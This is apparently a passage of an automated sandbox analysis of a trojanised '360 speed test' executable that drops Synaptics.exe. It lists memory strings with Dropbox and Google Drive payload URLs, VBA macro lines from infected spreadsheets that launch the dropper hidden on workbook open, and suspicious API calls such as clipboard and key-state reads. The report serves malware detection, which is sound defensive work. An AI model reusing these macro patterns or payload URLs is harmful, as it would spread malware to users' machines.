              Source: Synaptics.exe, 00000002.00000000.326730403.00000000052FE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
              Source: Synaptics.exe, 00000002.00000000.327851130.000000000534C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeq
              Source: Synaptics.exe, 00000002.00000000.327566735.0000000005320000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
              Source: Synaptics.exe, 00000002.00000000.327566735.0000000005320000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf7
              Source: Synaptics.exe, 00000002.00000000.327566735.0000000005320000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313814322.000000000531F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf~
              Source: Synaptics.exe, 00000002.00000000.326730403.00000000052FE000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
              Source: Synaptics.exe, 00000002.00000000.328234582.000000000538C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
              Source: Synaptics.exe, 00000002.00000003.312206930.0000000005356000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.328072099.0000000005362000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.313579948.0000000005356000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp-
              Source: Synaptics.exe, 00000002.00000003.313545896.000000000534A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrq
              Source: Synaptics.exe, 00000002.00000000.328234582.000000000538C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
              Source: 360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
              Source: 360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
              Source: Synaptics.exe.0.drString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
              Source: Synaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloadN
              Source: Synaptics.exe, 00000002.00000003.312166319.0000000005336000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327686850.0000000005338000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.google.com/accounts?hl=en-US&p=account_iph
              Source: Synaptics.exe, 00000002.00000003.312166319.0000000005336000.00000004.00000800.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000000.327686850.0000000005338000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.google.com/accounts?p=signin_privatebrowsing&hl=en-US
              Source: 360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=0
              Source: Synaptics.exe.0.drString found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
              Source: Synaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:
              Source: 360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl
              Source: Synaptics.exe.0.drString found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
              Source: Synaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16
              Source: Synaptics.exe.0.drString found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
              Source: Synaptics.exe, 00000002.00000000.315504219.0000000002180000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:
              Source: Synaptics.exe, 00000002.00000000.326986087.000000000530D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/intl/en-US/drive/
              Source: Synaptics.exe, 00000002.00000000.315601871.00000000021B3000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.gstatic.com/_
              Source: Synaptics.exeString found in binary or memory: https://www.gstatic.com/_/mss/boq
              Source: Synaptics.exe, 00000002.00000003.311931943.000000000218C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.kQDc3gsln70.L.X.O/am
              Source: Synaptics.exe, 00000002.00000000.327633208.000000000532A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.gstatic.com/_/mss/boqss/boq
              Source: Synaptics.exe, 00000002.00000003.313485712.000000000533C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: *.google.com*.appengine.google.com*.bdn.dev*.origin-test.bdn.dev*.cloud.google.com*.crowdsource.google.com*.datacompute.google.com*.google.ca*.google.cl*.google.co.in*.google.co.jp*.google.co.uk*.google.com.ar*.google.com.au*.google.com.br*.google.com.co*.google.com.mx*.google.com.tr*.google.com.vn*.google.de*.google.es*.google.fr*.google.hu*.google.it*.google.nl*.google.pl*.google.pt*.googleadapis.com*.googleapis.cn*.googlevideo.com*.gstatic.cn*.gstatic-cn.comgooglecnapps.cn*.googlecnapps.cngoogleapps-cn.com*.googleapps-cn.comgkecnapps.cn*.gkecnapps.cngoogledownloads.cn*.googledownloads.cnrecaptcha.net.cn*.recaptcha.net.cnrecaptcha-cn.net*.recaptcha-cn.netwidevine.cn*.widevine.cnampproject.org.cn*.ampproject.org.cnampproject.net.cn*.ampproject.net.cngoogle-analytics-cn.com*.google-analytics-cn.comgoogleadservices-cn.com*.googleadservices-cn.comgooglevads-cn.com*.googlevads-cn.comgoogleapis-cn.com*.googleapis-cn.comgoogleoptimize-cn.com*.googleoptimize-cn.comdoubleclick-cn.net*.doubleclick-cn.net*.fls.doubleclick-cn.net*.g.doubleclick-cn.netdoubleclick.cn*.doubleclick.cn*.fls.doubleclick.cn*.g.doubleclick.cndartsearch-cn.net*.dartsearch-cn.netgoogletraveladservices-cn.com*.googletraveladservices-cn.comgoogletagservices-cn.com*.googletagservices-cn.comgoogletagmanager-cn.com*.googletagmanager-cn.comgooglesyndication-cn.com*.googlesyndication-cn.com*.safeframe.googlesyndication-cn.comapp-measurement-cn.com*.app-measurement-cn.comgvt1-cn.com*.gvt1-cn.comgvt2-cn.com*.gvt2-cn.com2mdn-cn.net*.2mdn-cn.netgoogleflights-cn.net*.googleflights-cn.netadmob-cn.com*.admob-cn.comgooglesandbox-cn.com*.googlesandbox-cn.com*.gstatic.com*.metric.gstatic.com*.gvt1.com*.gcpcdn.gvt1.com*.gvt2.com*.gcp.gvt2.com*.url.google.com*.youtube-nocookie.com*.ytimg.comandroid.com*.android.com*.flash.android.comg.cn*.g.cng.co*.g.cogoo.glwww.goo.glgoogle-analytics.com*.google-analytics.comgoogle.comgooglecommerce.com*.googlecommerce.comggpht.cn*.ggpht.cnurchin.com*.urchin.comyoutu.beyoutube.com*.youtube.comyoutubeeducation.com*.youtubeeducation.comyoutubekids.com*.youtubekids.comyt.be*.yt.beandroid.clients.google.comdeveloper.android.google.cndevelopers.android.google.cnsource.android.google.cn equals www.youtube.com (Youtube)
              Source: Synaptics.exe, 00000002.00000003.312263292.0000000005389000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: *.google.com*.appengine.google.com*.bdn.dev*.origin-test.bdn.dev*.cloud.google.com*.crowdsource.google.com*.datacompute.google.com*.google.ca*.google.cl*.google.co.in*.google.co.jp*.google.co.uk*.google.com.ar*.google.com.au*.google.com.br*.google.com.co*.google.com.mx*.google.com.tr*.google.com.vn*.google.de*.google.es*.google.fr*.google.hu*.google.it*.google.nl*.google.pl*.google.pt*.googleadapis.com*.googleapis.cn*.googlevideo.com*.gstatic.cn*.gstatic-cn.comgooglecnapps.cn*.googlecnapps.cngoogleapps-cn.com*.googleapps-cn.comgkecnapps.cn*.gkecnapps.cngoogledownloads.cn*.googledownloads.cnrecaptcha.net.cn*.recaptcha.net.cnrecaptcha-cn.net*.recaptcha-cn.netwidevine.cn*.widevine.cnampproject.org.cn*.ampproject.org.cnampproject.net.cn*.ampproject.net.cngoogle-analytics-cn.com*.google-analytics-cn.comgoogleadservices-cn.com*.googleadservices-cn.comgooglevads-cn.com*.googlevads-cn.comgoogleapis-cn.com*.googleapis-cn.comgoogleoptimize-cn.com*.googleoptimize-cn.comdoubleclick-cn.net*.doubleclick-cn.net*.fls.doubleclick-cn.net*.g.doubleclick-cn.netdoubleclick.cn*.doubleclick.cn*.fls.doubleclick.cn*.g.doubleclick.cndartsearch-cn.net*.dartsearch-cn.netgoogletraveladservices-cn.com*.googletraveladservices-cn.comgoogletagservices-cn.com*.googletagservices-cn.comgoogletagmanager-cn.com*.googletagmanager-cn.comgooglesyndication-cn.com*.googlesyndication-cn.com*.safeframe.googlesyndication-cn.comapp-measurement-cn.com*.app-measurement-cn.comgvt1-cn.com*.gvt1-cn.comgvt2-cn.com*.gvt2-cn.com2mdn-cn.net*.2mdn-cn.netgoogleflights-cn.net*.googleflights-cn.netadmob-cn.com*.admob-cn.comgooglesandbox-cn.com*.googlesandbox-cn.com*.gstatic.com*.metric.gstatic.com*.gvt1.com*.gcpcdn.gvt1.com*.gvt2.com*.gcp.gvt2.com*.url.google.com*.youtube-nocookie.com*.ytimg.comandroid.com*.android.com*.flash.android.comg.cn*.g.cng.co*.g.cogoo.glwww.goo.glgoogle-analytics.com*.google-analytics.comgoogle.comgooglecommerce.com*.googlecommerce.comggpht.cn*.ggpht.cnurchin.com*.urchin.comyoutu.beyoutube.com*.youtube.comyoutubeeducation.com*.youtubeeducation.comyoutubekids.com*.youtubekids.comyt.be*.yt.beandroid.clients.google.comdeveloper.android.google.cndevelopers.android.google.cnsource.android.google.cnm(E equals www.youtube.com (Youtube)
              Source: Synaptics.exe, 00000002.00000000.328478274.00000000053B2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: ogle-analytics-cn.comgoogleadservices-cn.com*.googleadservices-cn.comgooglevads-cn.com*.googlevads-cn.comgoogleapis-cn.com*.googleapis-cn.comgoogleoptimize-cn.com*.googleoptimize-cn.comdoubleclick-cn.net*.doubleclick-cn.net*.fls.doubleclick-cn.net*.g.doubleclick-cn.netdoubleclick.cn*.doubleclick.cn*.fls.doubleclick.cn*.g.doubleclick.cndartsearch-cn.net*.dartsearch-cn.netgoogletraveladservices-cn.com*.googletraveladservices-cn.comgoogletagservices-cn.com*.googletagservices-cn.comgoogletagmanager-cn.com*.googletagmanager-cn.comgooglesyndication-cn.com*.googlesyndication-cn.com*.safeframe.googlesyndication-cn.comapp-measurement-cn.com*.app-measurement-cn.comgvt1-cn.com*.gvt1-cn.comgvt2-cn.com*.gvt2-cn.com2mdn-cn.net*.2mdn-cn.netgoogleflights-cn.net*.googleflights-cn.netadmob-cn.com*.admob-cn.comgooglesandbox-cn.com*.googlesandbox-cn.com*.gstatic.com*.metric.gstatic.com*.gvt1.com*.gcpcdn.gvt1.com*.gvt2.com*.gcp.gvt2.com*.url.google.com*.youtube-nocookie.com*.ytimg.comandroid.com*.android.com*.flash.android.comg.cn*.g.cng.co*.g.cogoo.glwww.goo.glgoogle-analytics.com*.google-analytics.comgoogle.comgooglecommerce.com*.googlecommerce.comggpht.cn*.ggpht.cnurchin.com*.urchin.comyoutu.beyoutube.com*.youtube.comyoutubeeducation.com*.youtubeeducation.comyoutubekids.com*.youtubekids.comyt.be*.yt.beandroid.clients.google.comdeveloper.android.google.cndevelopers.android.google.cnsource.android.google.cng equals www.youtube.com (Youtube)
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,1_2_00456354
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0046C604 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalFix,CloseClipboard,GlobalUnWire,IsClipboardFormatAvailable,GetClipboardData,GlobalFix,GlobalUnWire,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalFix,CloseClipboard,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnWire,CountClipboardFormats,CloseClipboard,1_2_0046C604
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0046C604 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalFix,CloseClipboard,GlobalUnWire,IsClipboardFormatAvailable,GetClipboardData,GlobalFix,GlobalUnWire,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalFix,CloseClipboard,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnWire,CountClipboardFormats,CloseClipboard,1_2_0046C604
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0047C08E SendMessageW,NtdllDialogWndProc_W,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,SetCapture,ClientToScreen,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,1_2_0047C08E

              System Summary

              barindex
              Document contains an embedded VBA with functions possibly related to ADO stream file operations
              Source: 9h8FDxaB.xlsm.2.drStream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
              Source: NWTVCDUMOB.xlsm.2.drStream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
              Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)
              Source: 9h8FDxaB.xlsm.2.drStream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
              Source: NWTVCDUMOB.xlsm.2.drStream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
              Document contains an embedded VBA with functions possibly related to HTTP operations
              Source: 9h8FDxaB.xlsm.2.drStream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
              Source: NWTVCDUMOB.xlsm.2.drStream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
              Document contains an embedded VBA macro with suspicious strings
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
              Source: C:\ProgramData\Synaptics\Synaptics.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 2880
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004120381_2_00412038
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004271611_2_00427161
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004212BE1_2_004212BE
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0041A46B1_2_0041A46B
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0041240C1_2_0041240C
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004465661_2_00446566
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0041D7501_2_0041D750
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004037E01_2_004037E0
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004278591_2_00427859
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004128181_2_00412818
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0040F8901_2_0040F890
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0042397B1_2_0042397B
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00409A401_2_00409A40
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00411B631_2_00411B63
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0047CBF01_2_0047CBF0
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00412C381_2_00412C38
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00423EBF1_2_00423EBF
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00424F701_2_00424F70
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0041AF0D1_2_0041AF0D
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,731F6290,CreateProcessAsUserW,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,1_2_004461ED
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeSection loaded: starttiledata.dllJump to behavior
              Source: C:\Users\user\Desktop\360#U6d4b#U901f.exeSection loaded: starttiledata.dllJump to behavior
              Source: 360#U6d4b#U901f.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,1_2_004364AA
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: String function: 00445975 appears 65 times
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: String function: 0041171A appears 36 times
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: String function: 0041718C appears 45 times
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: Private Sub Workbook_Open()
              Source: 9h8FDxaB.xlsm.2.drOLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: Private Sub Workbook_Open()
              Source: NWTVCDUMOB.xlsm.2.drOLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0047C08E SendMessageW,NtdllDialogWndProc_W,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,SetCapture,ClientToScreen,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,1_2_0047C08E
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_004331D9 ClientToScreen,NtdllDialogWndProc_W,1_2_004331D9
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0043323E NtdllDialogWndProc_W,1_2_0043323E
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0046F2B0 DragQueryPoint,SendMessageW,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,1_2_0046F2B0
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0046F50B NtdllDialogWndProc_W,ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W,1_2_0046F50B
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00469681 PostMessageW,GetFocus,GetDlgCtrlID,PostMessageW,NtdllDialogWndProc_W,_memset,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W,1_2_00469681
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_0044796B GetClientRect,GetCursorPos,ScreenToClient,WindowFromPoint,NtdllDialogWndProc_W,1_2_0044796B
              Source: C:\Users\user\Desktop\._cache_360#U6d4b#U901f.exeCode function: 1_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,1_2_00434D50
              Source: 360#U6d4b#U901f.exeStatic PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
              Source: 360#U6d4b#U901f.exeStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Source: Synaptics.exe.0.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
              Source: Synaptics.exe.0.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Source: RCX35C5.tmp.0.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Source: ~$cache1.2.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Source: nts9475.tmp.P2P.4.drStatic PE information: Resource name: EXE type: PE32 executable (GUI) Intel 80386, for MS Windows
              Source: nts94A7.tmp.P2P.4.drStatic PE information: Resource name: RESOURCE type: 7-zip archive data, version 0.4
              Source: 360#U6d4b#U901f.exe, 00000000.00000003.297284732.00000000025C0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameb! vs 360#U6d4b#U901f.exe
              Source: 360#U6d4b#U901f.exe, 00000000.00000000.288660100.0000000000401000.00000020.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFileName vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294188449.0000000002F12000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename360P2SP.dll0 vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.293649323.0000000002F12000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename360NetUL.dll0 vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294799998.0000000002F12000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLiveUpd360.dll0 vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.297180090.0000000002F12000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename360nettj.dll0 vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.299151423.0000000002F12000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename360SpeedTest.exe0 vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294919069.0000000002F31000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLiveUpd360.dll0 vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.294210060.0000000002F21000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename360P2SP.dll0 vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295666957.0000000002F12000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePDown.dll0 vs 360#U6d4b#U901f.exe
              Source: ._cache_360#U6d4b#U901f.exe, 00000001.00000003.295716145.0000000002F43000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePDown.dll0 vs 360#U6d4b#U901f.exe
